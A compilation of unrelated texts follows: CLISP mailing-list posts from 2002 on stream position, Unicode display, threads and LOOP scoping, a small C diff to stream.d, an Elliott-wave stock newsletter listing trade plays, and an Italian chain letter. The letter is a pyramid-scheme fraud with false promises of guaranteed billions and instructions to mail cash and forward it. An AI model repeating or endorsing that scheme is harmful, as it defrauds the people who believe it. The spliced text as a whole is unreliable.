> File position is now 1
> Second PEEK-CHAR gets i
>  while making file position 1
> NIL
> 
> I was expecting that the file position would remain 0 through both
> PEEK-CHAR calls.  The other CL implementations I've tried (Allegro,
> Corman, and Lispworks) all keep file position at 0, but as I look
> through the Hyperspec, it says that (PEEK-CHAR NIL ...) must keep the
> character in the buffer for subsequent operations, but doesn't
> explicitly require the file pointer to remain unchanged.
> 
> So, I don't know if this is really a bug, or just a permissible
> (though surprising to me) interpretation of the spec.
> 
> Suggestions? Thanks!

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Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.317
diff -u -w -b -u -b -w -i -B -r1.317 stream.d
--- stream.d	2 Dec 2002 14:24:19 -0000	1.317
+++ stream.d	3 Dec 2002 17:29:08 -0000
@@ -17260,7 +17260,10 @@
   } else {
     if (!boundp(position)) {
       # position not specified -> Position as value:
-      VALUES1(UL_to_I(BufferedStream_position(stream)));
+      VALUES1(UL_to_I(BufferedStream_position(stream) -
+                      /* if a character has been unread, decrement position */
+                      (TheStream(stream)->strmflags & strmflags_unread_B
+                       ? 1 : 0)));
     } else {
       if (eq(position,S(Kstart))) {
         # :START -> set position to start:


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I am considering using clisp on Windows but Unicode support is critical
to me and I have a question I haven't been able to resolve via FAQ.

In Windows I can switch my keyboard mapping between two languages (e.g.
English and Hindi), and most programs, such as Notepad, will render the
resulting mixed-language text correctly. I can save a Notepad file in
Unicode format and reopen it in Notepad or Word and both programs render
the file correctly.

I'm looking for a way to get clisp to behave like this. In particular, I
want a way to switch the mode of the evaluator (listener) so that I can
type Unicode symbols directly and get them to render correctly. For
example I want (setq x '<Hindi word>) to render correctly when entered
from the keyboard, and when read from a dribbled file and printed. Is
this possible?

Thanks,
Keith Morgan



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> * In message <003401c29af2$0bfc9160$3b01a8c0@intertax.com>
> * On the subject of "[clisp-list] Unicode question"
> * Sent on Tue, 3 Dec 2002 11:33:09 -0600
> * Honorable "Keith Morgan" <kmorgan@inter-tax.com> writes:
>
> In Windows I can switch my keyboard mapping between two languages
> (e.g.  English and Hindi), and most programs, such as Notepad, will
> render the resulting mixed-language text correctly. I can save a
> Notepad file in Unicode format and reopen it in Notepad or Word and
> both programs render the file correctly.
> 
> I'm looking for a way to get clisp to behave like this. In particular,
> I want a way to switch the mode of the evaluator (listener) so that I
> can type Unicode symbols directly and get them to render
> correctly. For example I want (setq x '<Hindi word>) to render
> correctly when entered from the keyboard, and when read from a
> dribbled file and printed. Is this possible?

CLISP offers full support of UNICODE 3.2.

CLISP does not render anything though, this is done by the terminal
application where you started CLISP (be it dos/cmd window or Emacs
buffer).

if (setq x '<Hindi word>) does not work as you expect it to, this is
almost certainly caused by the terminal you are using.

See <http://clisp.cons.org/propaganda.html#unicode> and
<http://clisp.cons.org/impnotes/characters.html> for more details.

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On the cmucl-help list, in the context of wondering about the state of
threads in the free CL implementations, Edi Weitz wrote the following:

 > './configure --help' in the build directory of CLISP 2.30 reveals this:
 > 
 >       --with-threads=FLAVOR   support multiple threads in one CLISP image
 >              via OS threads [highly experimental - use at your own risk]
 >              FLAVORs = POSIX_THREADS POSIXOLD_THREADS SOLARIS_THREADS
 >                        C_THREADS WIN32_THREADS
 > 
 > I didn't try it, though.

I'm curious, is this actually being developed, or is it hopeful
leftovers from an abandoned attempt?  If work is being done on it,
what's the state?  Obviously "highly experimental", but does that mean
that I can play with it for noncritical things, or will it most likely
dump core before doing anything useful, or what?

Jes wondering...

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> > Is there any place in HyperSpec where the scope of the loop variables
> > is specified?
> 
> no.  it has been discussed in c.l.l and the consensus appeared to be
> that the iteration variables will not necessarily exist inside finally
> clauses.

nevertheless people do expect the iteration variables to be available
in the finally clauses - and some lisps permit that.

CLISP does not allow (some) iteration variables in the finally clauses
because of the initializations1/initializations2 split in EXPAND-LOOP
(loop.lisp) entitled "Initialisierungen abarbeiten und optimieren".

Removing this optimization results in the same number of bytecodes (15)
and the same speed for
	(defun f1 (a) (loop for x in a sum x))
and 1 less bytecode (25 vs 26) and a marginal (<1%) speed improvement
for 
        (defun f2 (a b) (loop for x in a for y in b sum x sum y))

I think we should remove this optimization.

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It sounds like I would have to wire clisp into a real Windows interface
instead of using the Dos/command line terminal, since Dos windows never
render Unicode correctly, even when using wprintf(), etc. The usual
problem with lisp is that it likes to call out, but not be called by
native code (e.g. Windows event methods). Do you know if anyone has
worked on wiring a clisp r-e-p loop into a Windows interface? Thanks.

Keith Morgan

> -----Original Message-----
> From: Sam Steingold [mailto:sds@gnu.org] 
> Sent: Tuesday, December 03, 2002 11:53 AM
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> Cc: clisp-list@lists.sourceforge.net
> Subject: Re: [clisp-list] Unicode question
> 
> 
> > * In message <003401c29af2$0bfc9160$3b01a8c0@intertax.com>
> > * On the subject of "[clisp-list] Unicode question"
> > * Sent on Tue, 3 Dec 2002 11:33:09 -0600
> > * Honorable "Keith Morgan" <kmorgan@inter-tax.com> writes:
> >
> > In Windows I can switch my keyboard mapping between two languages 
> > (e.g.  English and Hindi), and most programs, such as Notepad, will 
> > render the resulting mixed-language text correctly. I can save a 
> > Notepad file in Unicode format and reopen it in Notepad or Word and 
> > both programs render the file correctly.
> > 
> > I'm looking for a way to get clisp to behave like this. In 
> particular, 
> > I want a way to switch the mode of the evaluator (listener) 
> so that I 
> > can type Unicode symbols directly and get them to render correctly. 
> > For example I want (setq x '<Hindi word>) to render correctly when 
> > entered from the keyboard, and when read from a dribbled file and 
> > printed. Is this possible?
> 
> CLISP offers full support of UNICODE 3.2.
> 
> CLISP does not render anything though, this is done by the 
> terminal application where you started CLISP (be it dos/cmd 
> window or Emacs buffer).
> 
> if (setq x '<Hindi word>) does not work as you expect it to, 
> this is almost certainly caused by the terminal you are using.
> 
> See <http://clisp.cons.org/propaganda.html#unicode> and 
> <http://clisp.cons.org/impnotes/characters.htm> l> for more 
> details.
> 
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Hello Keith,

Friday, December 06, 2002, 3:20:55 AM, you wrote:

> It sounds like I would have to wire clisp into a real Windows interface
> instead of using the Dos/command line terminal, since Dos windows never
> render Unicode correctly, even when using wprintf(), etc. The usual
> problem with lisp is that it likes to call out, but not be called by
> native code (e.g. Windows event methods). Do you know if anyone has
> worked on wiring a clisp r-e-p loop into a Windows interface? Thanks.

'Dos' (console window) can display some national codepage so clisp
with properly set up *terminal-encoding* should be able to map Unicode
to this codepage. I use Russian and English characters with CP866, there
are room for all of it. There will be a problem if I'll want to use
more languages simultaneosly. But while I fit in CP866 I'm ok. Is
there really no way to display Hindi characters in a console window
(without clisp) ?

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> >> I'm wondering what this means for compiling clisp
> on
> >> cygwin. Cygwin (current) has version 1.8 of
> libiconv.
> >> Currently, clisp is not compatible with this
> version.
> >> Is this summary correct?
> >> Is this a problem in libiconv or clisp?
> 
> > If I'm right, solution is to rebuild libiconv
> against new
> > cygwin headers (namely errno.h) and link clisp
> with it.
> > It will be still libiconv 1.8 I think.
> 
> I just managed to rebuild libiconv (just learned to
> use patched
> sources from cygwin) and problem has gone. Also I
> had to build
> and install libsigsegv from its CVS - clisp didn't
> get build
> without it.
which libiconv sources are you using? i tried the
source installed by cygwin's setup program and had no
luck. (the problems seemed to mirror gcc-2.95->gcc-3.x
problems that the maintainers of cygwin's setup
program itself were having eg.
http://cygwin.com/ml/cygwin-apps/2002-11/msg00003.html)).
i fiddled a few of the problems (adding using
directives) but there were sooooo many i figured there
must be a better version of the source somewhere). i
also tried libiconv's cvs on source forge to no avail.

thanks,
alex

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 View Portfolio     Archives 
December 6th, 2002 

Friday: Dow'a Pattern Kisses 9000 Goodbye!

The markets spent all day continuing the declining pattern from late yesterday. We still are using a working wave count as nearing an end of (v) of 1. A gap down at open and reverse for a short covering rally to finish Friday is an interesting prospect. The second opinion is we already have seen the wave 2 and now we are in (i) of 3 down. Weighing on the other side is the fact that saber rattling with regard to Iraq's weapon declaration on Sunday may keep longs nervous. In an attempt by public firms of note to give the  appearance of disclosure, Intel reported the current sales prospect. All this is a sop to the public to make us feel like they are open and not hiding anything. This is the confidence game going on to keep us in stocks. Intel likely finished a C wave after hours, and will proceed on its appointed path down soon. 
We still maintain that a major decline is ahead of us in the DOW and S+P especially, in the range of 30% very soon. 


The McClellan Oscillators: The McClellan Oscillators  We are now entering the oversold area and need to be mindful of a rebound, even if only to the zero line.  The NYSE's falling down more  to under zero at -5.  The SPX  extended under the zero line at -48,  and the NDX down  very deep to -82.   


Momentum: Momentum:  The A/D at the  NYSE  was slightly negative at  3:4, and the Nasdaq at 2:3.  Total volume, light, maybe due to a snow storm approaching   at 1.2 billion shares. The A/D in volume was around 1:2 in the NYSE and 2:5 in the Nasdaq.  Vix pushed still hanging at  34.2.  The P/C ratio for equities is at .76. The 10 day MA for equity P/C is at .64, also showing a 5 wave down in shape. The Investor Intelligence Advisory Sentiment survey lists a 50% bullish reading which we have to read as a bearish high reading. The ARMS  index, 10 dma, is at 1.10.   


The DOW: The DOW:  The low late in the day was 8609 and is still part of the wave off the 8811 high. Some more fall to 8550 looks to be coming. So far the counter trend rallies have been small and the next real test will be to see if a larger corrective wave will reach 8800. This will certainly confirm that it can be labeled wave 2. 8400 is the next major trend line to offer support. We are still early in the new down cycle and don't expect a 'low' until the end of the third week of December. This should coincide with a 10 week cycle.



The SPX: The SPX:  Similar wave count as the Dow also, reaching a low of 907.This is near a 5th wave low , so we should be prepared for a counter trend rally. That retracement will better allow us to pin a larger degree wave label. 2 or (ii) of 3. 925 should be ample resistance.   Reaching 880 offers lower trend line support. 




Nasdaq: Nasdaq: We gapped up and then drifted down to a low of 1052  in the NDX and 1411 in the Comp.  These are just slightly lower than yesterday, and can be called very near a 5th wave down. We can expect a rally for much of Friday if there is any bullish strength and to put in a confident wave 2. The corrective rally can easily make resistance up to 1095 and 1460. For the bears we would love to see the  island maintain the gap of nine days ago.  So if the highs of 1083 in NDX and 1444 in the Comp hold, even the daily chart will maintain this bearish pattern.  We have already broke lower ascending trend line support at 1085 and then 1060 and 1020 in NDX and 1440 and 1370 in Comp should signal a larger decline ahead. In review the highs of Monday reached the A=C equality relationship given weeks ago here, A = C relationship  gave us 1155 in NDX and 1521 in Comp. 
In an observation of this 7 week rally compared to the rally of a year ago I project the next support for the Nasdaq Comp to be 875. It is early to start thinking that far ahead , but if it helps put a prospective on the next decline ahead, use it as a guide. 
Each year the NDX (100) reshuffles it portfolio to reflect the changes in market cap of the individuals in the trust. Tech is becoming less and less of this, and this year the following stocks are at risk of being dropped. ADCT AMCC ITWO RATL SANM CNXT PMCS VTSS IDTI ATML RFMD, also  SEPR ABGX PDLI IMCL CHTR ADRX.  The following stocks could be considered for inclusion as they have grown in market cap. PIXR EXPD GNTX GRMN DRYR XRAY HSIC PETM CECO ROST WFMI. These could experience price moves as they are included as the trust and funds would have to own them. Something to watch in this next month. 




The XAU: The XAU:  The bullish count for a rally to 72 is coming to the forefront. A 5 wave pattern, off the 62 low,  looks prominent now with a high of 69.50 right in line with yesterdays prediction. Now a pullback to 65-66 and holding there will give a strong case for the 72 to 75 target.  Let us play this close and wait to have it show the direction. The triangle count in  the XAU and HUI will break very soon, and establish a new wave pattern.   The primary target, for the longer run, is downward to 55, still remains intact for the XAU. The label at that time very much needs to be given a more bullish tint at that low for an A/B/C bottom at 55 will be a (B) wave or a 4th wave. I am becoming more convinced that the initial drop off the May high can only be labeled as an a-b-c for A. That was followed by another clear a-b-c so far for B ,or (a) of B. This keeps us on alert that we are still in some corrective pattern that is fairly complex. The alternate count, alluded to above,  near term bullish longer term bearish is for this rally from 65 to carry higher to 75-80 in a (c) of <B>, then a drop to new lows.   Now I want to draw your attention to the BUGS index,  for Basket of Unhedged Gold Stocks. The stocks in this index do not have their sales hedged so that the market price gets reflected in asset  value. ABX , PDG, and AU are the worst offenders in hedged sales of future production. The chart below shows how a 4th wave pattern is the clearest option for a wave count. The BUGS index includes ASA, GLG, HM, and NEM. AU looks to be a good proxy for the XAU, for those trading off this index. A note on the price of gold the metal, looks by two wave counts, to be in a 4th wave ready to push higher to $350. This surely will get reflected in the mining stocks. 






Our Mutual Fund Allocation: 
Our Mutual Fund Allocation:  As of 11/21, we are now  30% Juno from 7.72 average price (100% short 30-year treasury bonds), 20% Tempest  at  95.78,  and at 10% Tempest at 88.11 for average of 93.22 (200% short S&P 500), and  10% Venture at 84.83, 20% Venture at 69.45, and 10% Venture at 64.75 for an average of 74.60 (200% short NDX). 


This Week's Earnings Reports:
MON:   
TUES:  AMWD, CHS, PETM, JDEC 
WEDS:  RDEN, UNFI, SNPS 
THURS:  MBG, NX 
FRI:     NSM 



Many in the money plays have been taken off. Other open plays very old just taken off letter. 
SHORT PLAY: entry             target             stop 
NFI (9-18)  25-26.00                17.00              30.00  close to done 
COLM       40-41.00                  20.00             44.00  44.25 hit maintain short for Tuesday 
FDS (9-20) 26-27.00                19.00              30.00  stopped out, thrust out of triangle 
MDT            40-42.00                32.00             49.00 Raised stop still ok short 
BSX  (10-7) 35-37.00                25.00             39.00  in little 5th 
SYY             29-31.00              20.00              33.00 
SYMC           34-36.00             28.00              37.00 stopped out, making new high 
FNM              67-70.00             55.00              72.00 
SLE    (10-17) 22-23.00              15.00             25.00 stopped before , new entry 
PRX (10-21)  21-23.00              15.00             26.00 stopped out 
WWY            52-54.00               45.00             56.00 
EFX  (10-23) 24-26.00              18.00              27.00 
MRCY           28-30.00              15.00              35.00 
AOL  (10-25) 15-16.00              8.00               17.00 
EXBD              33-35.00           22.00               36.00 
WMAR          14-16.00              8.00                 17.00 
ODP (10-30)  14-15.00             5.00                  17.00 ** raise stop as 18 is where a=c 
COX               28-30.00            17.00                33.00 
CEPH (11-1)  49-51.00            35.00                53.00 stopped out 
LH (11-4)        24-25.00            18.00                26.00 Now active 
ESPD              14-16.00              10.00               17.00 
CSCO (11-5)  12-13.00            8.00                  13.75 stopped out 
CYMI              27-30.00            15.00                32.00  remain short 
AGEN (11-6) 10-11.00                6.00                12.00 
GBL                34-35.00               25.00               36.00 
AIG (11-8)     67-70.00                48.00               71.00 
FIC                 39-40.00               25.00                42.00 stopped out 
QLGC            40-44.00               20.00                46.00 top is E wave of 20 month triangle 
ISSX (11-13) 20-22.00                12.00               23.50  ++stopped out 
VAL               43-44.00               38.00               45.00 
DELL (11-15) 28-30.00              20.00                32.00 
BRKS (11-21) 13.50-14.50        10.00                 15.00 
BMY (11-25)  27-28.00              20.00                 31.00 
ULTE              17-19.00                 5.00                22.00 
SLAB (11-26) 27-30.00                15.00              31.00 
SRE                24-25.00                 15.00               26.00 
NSM (11-27)  20-21.00                10.00               23.00 
BHE  (11-29)  31-33.00                 10.00              35.00 
PETM (12-2)  18-22.00                 12.00               23.00 
IR        (12-3)   45-48.00                 30.00             55.00   (sharp a-b-c up) 
KEX (12-5)      26-28.00                20.00              30.00 
GYMB  (12-6)  18-20.00               12.00              22.00   (in c of B)     

LONG PLAY:   
BRCD           5.75-6.00              9.00               5.50   New long  for (C) wave up 
BGO (11-18)  .75- .85                3.00                     .60 
ASA  (11-18)  25-27.50            40.00                23.00 
RESP (11-19) 31-33.00             40.00                29.00 (4th wave triangle) 
NX   (12-2)     29-30.00            45.00                 28.00 (4th wave C wave low) 




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 possesso di questa e-mail (quale sei tu ad esempio), la spediscano anche a
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 Se credi che questo sia uno dei tanti scherzi che si ricevono via e-mail,
 ti chiedo solo un paio di minuti del tuo tempo invitandoti a leggere questa
 lettera: e ti prometto che quando l'avrai terminata la tua vita sarà già
 cambiata!!! Questa è la testimonianza di Claudio Tommasi, l'italiano che ha
 finalmente deciso di tradurre la più famosa e-mail oggi in circolazione:
 
 "Chi ti scrive è un italiano, Claudio Tommasi, nato e cresciuto a S.
 Michele all'Adige, una cittadina alle porte di Trento, nel nord Italia. Mi
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 al Campus dell'Università del nord Colorado, e tuttora vivo con mia moglie
 e i miei 2 figli in una bellissima cittadina chiamata Fort Collins, sempre
 nel nord Colorado. La ragione per cui ti scrivo è perché ormai da 5 mesi la
 mia vita e quella della mia famiglia è totalmente cambiata. Perché??? Ho
 vinto la bellezza di $ 712.455 dollari, equivalenti a 1.426.862.000 lire
 italiane, senza fare assolutamente nulla!!! Quello che è successo a me
 succederà a tutti quelli che decideranno di partecipare all'ormai famoso
 "MLM American System": E' GARANTITO!!! Perché è l'unico sistema al mondo
 col quale non si può perdere, è impossibile!!!". La sua testimonianza
 continua.
 
 "Se non hai seguito i programmi TV che spiegavano nei dettagli come si può
 vincere in 6 settimane una cifra che si aggira fra 1,5 e 2 miliardi di
 lire, non ha importanza perché avrai bisogno di questa e-mail per
 partecipare. Senza questa e-mail non potrai entrare nel sistema,
 semplicemente perché hai bisogno di inserire i tuoi dati, affinché le
 persone possano spedirti i soldi direttamente a casa tua, come è successo a
 me. Questa è la mia storia: cinque mesi fa ricevetti una e-mail come
 questa, in inglese ovviamente, sembrava una di quelle tante che noi
 chiamiamo "junk" mail (catene). Era probabilmente la 5-6 volta che ne
 ricevevo una simile. Quel giorno (per mia fortuna) decisi di leggerla e
 cercare di capire come funzionasse quel sistema. In vita mia non ho mai
 creduto nei "soldi facili", forse perché dopo tutti gli anni e i soldi
 spesi all'università in Italia, giocando mega-sistemi al Totocalcio,
 Totogol, Enalotto, ecc., non ho mai vinto neanche 1000 lire!!! Dopo aver
 letto quella e-mail, e facendo un po' di calcoli, pensai che il sistema
 aveva un grande potenziale, e che poteva decisamente funzionare. Decisi
 così di provare, senza dire niente a mia moglie. Feci quello che diceva il
 sistema: inserii il mio nome e dati nella e-mail, spedii le 5 lettere alle
 persone presenti sulla lista, ognuna contenente le mie informazioni per
 partecipare e una banconota da $5 dollari. Pensai: "In fondo, avrei speso
 la stessa cifra se stasera avessi portato la mia famiglia al cinema, o se
 avessi comprato 2 biglietti della lotteria, dove la percentuale di vincita
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 Dopo neanche 10 giorni cominciai a ricevere "tonnellate" di lettere di
 persone che mi richiedevano i 5 report che avevo precedentemente acquistato
 per $25 dollari: mia moglie mi chiese cosa stava succedendo. Aprii le
 lettere una ad una e cominciai a contare i soldi. Non potevo crederlo:
 quello che diceva il sistema era vero, ero entrato nel vortice di un giro
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 La stessa settimana ci fu uno dei tanti speciali su uno dei telegiornali
 nazionali, e parlava di tutti questi nuovi miliardari che avevano fatto
 fortuna grazie ad Internet (e-mail) e ad un sistema multilivello semplice
 ma efficacissimo: e io ero uno di loro!!! Dopo qualche mese, decisi che
 avrei tentato di nuovo (poiché il sistema è senza fine e si basa anche sul
 fatto che quasi ogni vincitore rientra nel giro). Ma con l'andare del tempo
 pensai a tutti gli amici che avevo lasciato in Italia, compreso la mia
 famiglia, e il fatto che non avrebbero mai potuto avere la possibilità di
 partecipare e vincere come avevo fatto io, in quanto non conoscevano la
 lingua inglese (lingua ufficiale del sistema).
 Così decisi di tradurre quella e-mail e di farla circolare in Italia.
 Ecco perché caro amico/a ti ho scritto, affinché tutti possano avere la
 stessa opportunità che ho avuto io e migliaia di giocatori in tutto il
 mondo, di far avverare i loro sogni e finalmente vincere oltre un miliardo
 di lire. Se credi di aver bisogno di questo denaro questa è l'opportunità
 della tua vita. Se invece di denaro ne hai anche troppo, per favore invia
 questa preziosa e-mail a tutti coloro che la stanno ansiosamente
 aspettando, e che sono meno fortunati di te, poiché io non ho né il tempo
 né gli indirizzi e-mail di tutti quegli italiani che sono nel bisogno. Non
 essere egoista, dai la possibilità a qualcuno di toccare finalmente il
 cielo con un dito. Quello che farai per loro, un giorno sarà fatto a te,
 credimi.
 
 Buona fortuna e in bocca al lupo!!! Un caro saluto dagli Stati Uniti.
 
 Ciao, Claudio Tommasi."
 
 
 
 Grazie ad Internet e ad un programma imbattibile che ha già colto
 l'attenzione di alcune reti televisive italiane e straniere (oltre ai
 migliaia di servizi dedicati dalle televisioni americane) sveliamo il
 segreto di come è possibile continuare a vincere la somma di 1,5 - 2
 miliardi di lire ogni 6 settimane (UN MINIMO DI 13 MILIARDI ALL'ANNO!!!).
 
 
 Ecco come funziona.
 
 
 I partecipanti provengono da tutto il mondo, Australia, Canada,
 Inghilterra, Germania, Nuova Zelanda ( Paesi che in genere sono di
 madrelingua inglese, o lo parlano come seconda lingua), ma il 92% di essi
 sono agguerriti americani che solo nel secondo semestre del 2001 ha contato
 + di 928.000 fortunati soltanto ne gli USA.
 
 
  La ragione di questo successo è semplice: con il solo investimento di $
 25 si entra in un giro mondiale , inviando e-mail gratuitamente a tutti
 quelli che vogliono partecipare e che sono in trepida attesa di farlo. Si,
 perché la chiave è proprio ricevere questa e-mail (che è stata finalmente
 tradotta da un gentile italiano residente negli USA per il beneficio di
 tutti i giocatori).
 
 
 Se non si riceve la e-mail non si accede al sistema e si è tagliati fuori.
 Sei probabilmente uno dei primi italiani a ricevere questa e-mail, visto
 che è stata tradotta soltanto un mese fa. Ci sono milioni di persone in
 tutta Italia e in tutto il mondo che sono ansiosi di ricevere questa e-mail
 da te. Una volta che inserisci il tuo nome indirizzo e indirizzo e-mail è
 fatta, sei nel sistema e ci resterai fino a quando deciderai che ne hai
 abbastanza di tutti quei soldi!!!
 
 
 I partecipanti al giorno d'oggi sono stimati attorno ai 25 milioni, e
 crescono di giorno in giorno. Poiché bisogna aspettare il proprio turno
 prima di rientrare in un nuovo giro ( dalle 5 alla 1 posizione) chi esce
 (con un guadagno stimato in media tra 1,5 e 2 miliardi di lire) rientra di
 nuovo rispondendo ad un'altra e-mail che ha ricevuto nel frattempo. Il
 risultato: un sistema che non ha mai fine, tenuto in piedi dai soliti
 giocatori e in più da tutti quelli che si uniscono ogni giorno,
 incrementando il massiccio scambio di denaro. Un giro di centinaia di
 miliardi al giorno, spediti in piccole banconote da $ 5 ciascuna. Un
 programma che, GRAZIE AD INTERNET, non ha mai fine, poiché i partecipanti
 entrano ed escono continuamente (non contando i nuovi partecipanti che si
 uniscono ogni giorno) investendo ogni volta la piccola somma di 25$, e
 intascando i miliardi spettanti ad ogni giro!!! Ovviamente si può uscire
 quando si vuole, non c'è nessun obbligo, ma perché uscire quando si è parte
 di un club di miliardari??? Gli USA stimano che almeno 927.900 di quei
 928.000 nuovi miliardari sono già rientrati, centuplicando il numero di
 miliardari nei prossimi 6 mesi!!!
 
 
 La differenza tra i vecchi sistemi multilivello e questo è molto 
semplice:
 
 
 1: L'investimento è decisamente minimo, chiunque può permetterselo, giovane
 o vecchio, studente o impiegato, disoccupato o meno. Per iniziare si può
 anche partecipare in gruppi, se si vuole.
 
 
 2: Nessuna perdita di tempo nel convincere qualcuno a partecipare, poiché
 grazie alle recenti trasmissioni televisive ci sono milioni di italiani
 pronti a giocare, e aspettano di ricevere questa e-mail da te
 
 
 3: La vincita è rapida: 6 sole settimane per una somma minima che si aggira
 fra i 1,5 e 2 MILIARDI di lire!!! Un record, nessun sistema è mai stato
 tanto veloce quanto MLM American System!!!
 
 
 4: Non c'è nessuna organizzazione dietro questo semplice ma efficace
 sistema. I soli giocatori tengono in piedi l'intero sistema (da oro
 "battezzato" MLM American System = sistema multilivello americano e
 attualmente dopo essere stato tradotto per l'Italia e integrato con
 opportune modifiche e miglioramenti MLM Italian System), che funziona alla
 perfezione da 2 anni a questa parte. Non c'è nessuna percentuale da pagare.
 I soldi vengono scambiati e spediti direttamente alle case dei singoli
 giocatori. Tutti gli altri sistemi esistenti hanno una sede fissa, si
 appropriano di una grossa percentuale dei soldi, li maneggiano, e poi
 decidono chi deve vincere, per cui nessuna vincita può essere assicurata.
 
 
 5: MLM è l'unico sistema esistente al mondo che ti permette una vincita
 multipla: si vince ogni 6 settimane, fino a quando si decide di ritirarsi
 perché se ne ha abbastanza di tutto quel denaro.
 
 
 
 6: L'opportunità di ricevere informazioni gratis per incrementare e gestire
 le proprie vincite. Se decidete di partecipare, riceverete i "5 reports"
 dai membri della vostra lista, che contengono informazioni utilissime come
 scaricare GRATIS da Internet software elaborati e costosi (valore di
 mercato 1.000.000 di lire completamente GRATIS!!!) per gestire ricercare,
 scaricare e spedire e-mail a più di 10.000.000 di indirizzi (Avalanche,
 NetTron, DirectMail, ecc.), più tante altre utilissime informazioni sul
 come incrementare le vincite con il sistema, completamente GRATIS!!!
 
 
 Questo è il segreto di MLM American System: la vincita è 200% assicurata!!!
 Non si può perdere, è impossibile!!! Come spiegato sullo speciale di
 RaiTre, il sistema funziona ogni giorno per milioni di giocatori, non c'è
 dubbio. Chi si inserisce ha la certezza matematica di ricevere ALMENO 1,5 -
 2 MILIARDI DI LIRE NEL GIRO DI 6 SETTIMANE, perché riceverai i soldi da
 coloro che hanno già vinto ma desiderano rientrare e raddoppiare,
 triplicare, ecc. la loro vincita (NON CONTANDO SULL'INGRESSO DI NUOVI
 PARTECIPANTI OGNI GIORNO). Il conduttore della trasmissione di RaiTre:
 "seriamente, non ho mai visto niente del genere fino ad oggi!!!" MLM
 American System è stato definito il "GENERATORE DI BENESSERE DEL XXI
 SECOLO!!!". E tu? Sei pronto ad unirti al club dei miliardari??? Il
 principio è quasi simile a quello utopico del "Se ognuno dei 5 miliardi di
 persone oggi esistente sulla terra spedisse un dollaro a tutti gli altri
 vivremmo in un mondo di miliardari". Il fatto è che non si può costringere
 qualcuno a versare dei soldi ad un altro individuo. Ecco che il concetto di
 MLM entra in gioco: ci vuole un club di giocatori intenzionati a scambiarsi
 ogni 6 settimane 5 dollari a testa, collezionando 1,5 - 2 miliardi a turno.
 Questo è il semplice segreto di un sistema che non ha eguali in tutto il
 mondo: MLM American System. Non c'è nessuna organizzazione dietro MLM che
 trattiene percentuali come altri sistemi dove il solo che colleziona il
 denaro è l'ente che giostra il tutto. MLM è un club di oneste persone
 comuni COME TE che hanno tutto l'interesse di tenere in piedi un sistema
 che genera benessere per . I soldi contenuti nelle lettere vengono spediti
 direttamente alle case dei partecipanti e non raccolti da " anonimi enti"
 come in altri sistemi., Come su questa e-mail che sarà la tua lista se
 decidi di partecipare ci sono i nominativi di 5 persone comuni come te,
 provenienti da tutto il mondo.
 
 
 LE SEGUENTI SONO ISTRUZIONI FONDAMENTALI DI CUI HAI BISOGNO: POICHE' IL
 
 CONTENUTO DI QUESTA E-MAIL è TROPPO PREZIOSO SE NON LO HAI ANCORA
 
 FATTO, STAMPA UNA COPIA DI QUESTA E-MAIL ADESSO E SALVALA SU UN CD
 
 O FLOPPY DISK, NEL QUALCASO TU ABBIA PROBLEMI CON IL TUO COMPUTER.
 
 
 = = = = COME ORDINARE I 5 "REPORTS" DALLA LISTA CHE SEGUE = = = =
 
 Che cos'è un report??? Un report non è altro che una serie di informazioni
 utilissime su come scaricare assolutamente gratis costosi software da
 Internet (che potranno risultare di grande aiuto nella gestione e
 spedizione ad alta velocità di e-mail) gestire patrimoni ecc.,
 accuratamente tradotti in italiano.
 
 Per ogni report spedisci 5 euro se sei in Europa se no 5 dollari americani
 dal più vicino ufficio postale o dalla tua banca.
 
 Ci sono stati giocatori che, per ragioni sconosciute hanno spedito i
 contanti nella valuta del loro paese. Nel caso tu debba spedire a giocatori
 stranieri è consigliabile utilizzare il dollaro americano perché è stato
 scelto e adottato sin dall'inizio del sistema, ed ha funzionato alla
 perfezione per ormai 2 anni, non possiamo garantire il fatto che, se
 spedirai banconote in diverse valute, saranno accettate. I giocatori del
 sistema, specialmente stranieri che si aspettano di ricevere dollari
 americani, non accetteranno altre valute, perché non conoscono il cambio
 corrente, e probabilmente rispediranno indietro le lettere.
 
 Per qualsiasi ragione, non spedire MAI moneta, solo banconote, altrimenti
 dovrai pagare una tariffa postale maggiore dovuta al peso.
 
 Per evitare che i soldi spediti vengano intercettati e rubati da 2 anni a
 questa parte, si è adottato il sistema di "incartare" la banconota in 2
 fogli di carta formato A4 piegati in 3 come si piegherebbe una semplice
 lettera da infilare in una busta normale da lettera.
 
 
 = = IMPORTANTE = =
 
 Su uno dei 2 fogli, scrivi in stampatello (meglio se stampato al computer)
 a caratteri chiari e leggibili, il nome e il numero dei report che stai
 ordinando, il tuo indirizzo e-mail, e il tuo nome e indirizzo postale.
 
 Quindi: per ogni report spedisci una banconota del valore di cinque EURO o
 dollari incartata fra 2 fogli di carta formato A4, il nome e numero di
 report richiesto, il tuo indirizzo e-mail, il tuo nome e indirizzo postale.
 
 Se non vuoi far apparire il tuo nome e indirizzo sulla lista (anonimato),
 puoi usare una casella postale come indirizzo, e il nome di una compagnia
 al posto del tuo nome e cognome (ad esempio: XYZ Servizi, Casella Postale
 12345, Roma, Italy). Ricorda di scrivere il tuo indirizzo (mittente) sulla
 busta, nel caso in cui ci siano difficoltà postali.
 
 Quando ordini i report, devi ordinare tutti i 5 report, perché hai bisogno
 di "consegnarli tramite e-mail alle persone che li richiederanno da te,
 pagandoti 5 EURO/Dollari per ognuno di essi (anche se sono già in possesso
 di essi, nel caso di giocatori che rientrano, il sistema richiede il
 pagamento di 5 EURO/Dollari in cambio di qualcosa).
 
 Quando ricevi i 5 report in 5 differenti e-mail, salva ogni report su un
 floppy disk o CD, affinchè niente vada perso. Se li perdi, non puoi
 continuare nel sistema, poiché non hai niente da "consegnare" agli altri
 giocatori.
 
 Il costo totale del tuo investimento è: 5 x 5 Euro/Dollari = 25 Euro o
 dollari, una sciocchezza paragonata a quello che riceverai !!!
 
 Nel giro di pochi giorni riceverai, come detto, le 5 e-mail con i 5
 differenti report in italianmo. Mentre stai aspettando i 5 report (numero
 1, 2, 3, 4 e 5), prendi questa e-mail, che hai precedentemente salvato nel
 tuo computer, e fai quanto segue:
 

 1. rimuovi il nome e l'indirizzo della persona accanto al report numero 5.
 Questa persona ha finito il suo turno e starà contando i suoi 1,5 - 22
 miliardi di lire;
 
 2. rimuovi il nome e l'indirizzo della persona accanto al report numero 4 e
 spostala (con copia/taglia e incolla) al numero 5;
 
 3. rimuovi il nome e l'indirizzo della persona accanto al report numero 3 e
 spostala (con copia/taglia e incolla) al numero 4;
 
 4. rimuovi il nome e l'indirizzo della persona accanto al report numero 2 e
